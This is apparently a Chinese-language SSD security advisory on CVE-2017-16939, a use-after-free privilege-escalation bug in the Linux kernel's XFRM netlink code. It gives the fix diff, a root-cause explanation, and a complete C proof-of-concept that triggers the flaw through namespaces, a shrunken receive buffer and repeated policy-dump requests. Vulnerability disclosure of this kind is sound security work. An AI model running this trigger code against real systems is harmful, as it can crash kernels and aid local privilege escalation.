SSD安全公告-Linux内核XFRM权限提升漏洞

漏洞概要
以下安全公告描述了在Linux内核中发现的一个UAF漏洞,成功利用此漏洞的攻击者可以提升权限。漏洞存在于Netlink 套接字子系统 – XFRM.
Netlink用于在内核和用户空间进程之间传输信息。 它由用户空间进程的标准基于套接字的接口和内核模块的内部内核API组成。
漏洞提交者
一位独立的安全研究员Mohamed Ghannam向Beyond Security的SSD报告了该漏洞
厂商响应
该漏洞已在补丁1137b5e中被修复(“ipsec:修复中止xfrm策略转储崩溃”)
CVE: CVE-2017-16939

 @@ -1693,32 +1693,34 @@ static int dump_one_policy(struct xfrm_policy *xp, int dir, int count, void *ptr
 static int xfrm_dump_policy_done(struct netlink_callback *cb)
 {
-	struct xfrm_policy_walk *walk = (struct xfrm_policy_walk *) &cb->args[1];
+	struct xfrm_policy_walk *walk = (struct xfrm_policy_walk *)cb->args;
 	struct net *net = sock_net(cb->skb->sk);
 	xfrm_policy_walk_done(walk, net);
 	return 0;
 }
+static int xfrm_dump_policy_start(struct netlink_callback *cb)
+{
+	struct xfrm_policy_walk *walk = (struct xfrm_policy_walk *)cb->args;
+
+	BUILD_BUG_ON(sizeof(*walk) > sizeof(cb->args));
+
+	xfrm_policy_walk_init(walk, XFRM_POLICY_TYPE_ANY);
+	return 0;
+}
+
 static int xfrm_dump_policy(struct sk_buff *skb, struct netlink_callback *cb)
 {
 	struct net *net = sock_net(skb->sk);
-	struct xfrm_policy_walk *walk = (struct xfrm_policy_walk *) &cb->args[1];
+	struct xfrm_policy_walk *walk = (struct xfrm_policy_walk *)cb->args;
 	struct xfrm_dump_info info;
-	BUILD_BUG_ON(sizeof(struct xfrm_policy_walk) >
-		     sizeof(cb->args) - sizeof(cb->args[0]));
-
 	info.in_skb = cb->skb;
 	info.out_skb = skb;
 	info.nlmsg_seq = cb->nlh->nlmsg_seq;
 	info.nlmsg_flags = NLM_F_MULTI;
-	if (!cb->args[0]) {
-		cb->args[0] = 1;
-		xfrm_policy_walk_init(walk, XFRM_POLICY_TYPE_ANY);
-	}
-
 	(void) xfrm_policy_walk(net, walk, dump_one_policy, &info);
 	return skb->len;
 @@ -2474,6 +2476,7 @@ static const struct nla_policy xfrma_spd_policy[XFRMA_SPD_MAX+1] = {
 static const struct xfrm_link {
 	int (*doit)(struct sk_buff *, struct nlmsghdr *, struct nlattr **);
+	int (*start)(struct netlink_callback *);
 	int (*dump)(struct sk_buff *, struct netlink_callback *);
 	int (*done)(struct netlink_callback *);
 	const struct nla_policy *nla_pol;
 @@ -2487,6 +2490,7 @@ static const struct xfrm_link {
 	[XFRM_MSG_NEWPOLICY   - XFRM_MSG_BASE] = { .doit = xfrm_add_policy    },
 	[XFRM_MSG_DELPOLICY   - XFRM_MSG_BASE] = { .doit = xfrm_get_policy    },
 	[XFRM_MSG_GETPOLICY   - XFRM_MSG_BASE] = { .doit = xfrm_get_policy,
+						   .start = xfrm_dump_policy_start,
 						   .dump = xfrm_dump_policy,
 						   .done = xfrm_dump_policy_done },
 	[XFRM_MSG_ALLOCSPI    - XFRM_MSG_BASE] = { .doit = xfrm_alloc_userspi },
 @@ -2539,6 +2543,7 @@ static int xfrm_user_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh,
 		{
 			struct netlink_dump_control c = {
+				.start = link->start,
 				.dump = link->dump,
 				.done = link->done,
 			};


漏洞详细信息
非特权用户可以更改Netlink 套接字子系统 XFRM sk-> sk_rcvbuf的值(sk ==sock结构体对象)。
可以通过setsockopt(SO_RCVBUF)更改sk-> sk_rcvbuf的值为特定的范围。通过recvmsg/recv/read接收数据时,sk_rcvbuf表示接收缓冲区的大小。
sk_rcvbuf值是内核为skb(sk_buff结构体对象)分配的大小。
skb-> trusize是一个变量,它保持对已使用内存的追踪,为了避免内存浪费,方便管理,内核可以在运行时改变skb的大小。
例如,如果我们分配一个大的套接字缓冲区(skb),而我们只接收到1字节大小的数据包,内核将通过调用skb_set_owner_r来调整skb-> trusize的大小。
通过调用skb_set_owner_r修改sk-> sk_rmem_alloc(引用自原子变量sk-> sk_backlog.rmem_alloc)。

当创建XFRM netlink 套接字时,会调用xfrm_dump_policy函数,当我们关闭套接字时,xfrm_dump_policy_done会被调用。
当netlink_sock对象的cb_running值为true时调用xfrm_dump_policy_done。
xfrm_dump_policy_done会尝试清理由netlink_callback对象管理的xfrm walk条目。

当调用netlink_skb_set_owner_r(如skb_set_owner_r)时,它会更新sk_rmem_alloc。
netlink_dump():

在上面的代码中,我们可以看到当sk-> sk_rcvbuf小于sk_rmem_alloc(注意我们可以通过stockpot控制sk-> sk_rcvbuf)时,netlink_dump()验证失败。
当满足sk-> sk_rcvbuf小于sk_rmem_alloc时,会跳转到函数的结尾,然而cb_running的值还没有被更改为false,netlink_dump()函数就返回了。
此时nlk-> cb_running为true,因此会调用xfrm_dump_policy_done()。

nlk-> cb.done指向xfrm_dump_policy_done,值得注意的是这个函数处理一个双向链表,所以如果利用这个漏洞引用一个可控的缓冲区,我们就可以实现任意内存读写。
漏洞证明
下面的代码在Ubuntu 17.04测试。

#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <asm/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <linux/netlink.h>
#include <linux/xfrm.h>
#include <sched.h>
#include <unistd.h>
#define BUFSIZE 2048
int fd;
struct sockaddr_nl addr;
struct msg_policy {
    struct nlmsghdr msg;
    char buf[BUFSIZE];
};
void create_nl_socket(void)
{
    fd = socket(PF_NETLINK,SOCK_RAW,NETLINK_XFRM);
    memset(&addr,0,sizeof(struct sockaddr_nl));
    addr.nl_family = AF_NETLINK;
    addr.nl_pid = 0; /* packet goes into the kernel */
    addr.nl_groups = XFRMNLGRP_NONE; /* no need for multicast group */
}
void do_setsockopt(void)
{
    int var =0x100;
    setsockopt(fd,1,SO_RCVBUF,&var,sizeof(int));
}
struct msg_policy *init_policy_dump(int size)
{
    struct msg_policy *r;
    r = malloc(sizeof(struct msg_policy));
    if(r == NULL) {
        perror("malloc");
        exit(-1);
    }
    memset(r,0,sizeof(struct msg_policy));
    r->msg.nlmsg_len = 0x10;
    r->msg.nlmsg_type = XFRM_MSG_GETPOLICY;
    r->msg.nlmsg_flags = NLM_F_MATCH | NLM_F_MULTI |  NLM_F_REQUEST;
    r->msg.nlmsg_seq = 0x1;
    r->msg.nlmsg_pid = 2;
    return r;
}
int send_msg(int fd,struct nlmsghdr *msg)
{
    int err;
    err = sendto(fd,(void *)msg,msg->nlmsg_len,0,(struct sockaddr*)&addr,sizeof(struct sockaddr_nl));
    if (err < 0) {
        perror("sendto");
        return -1;
    }
    return 0;
}
void create_ns(void)
{
	if(unshare(CLONE_NEWUSER) != 0) {
		perror("unshare(CLONE_NEWUSER)");
		exit(1);
	}
	if(unshare(CLONE_NEWNET) != 0) {
		perror("unshared(CLONE_NEWUSER)");
		exit(2);
	}
}
int main(int argc,char **argv)
{
    struct msg_policy *p;
    create_ns();
    create_nl_socket();
    p = init_policy_dump(100);
    do_setsockopt();
    send_msg(fd,&p->msg);
    p = init_policy_dump(1000);
    send_msg(fd,&p->msg);
    return 0;
}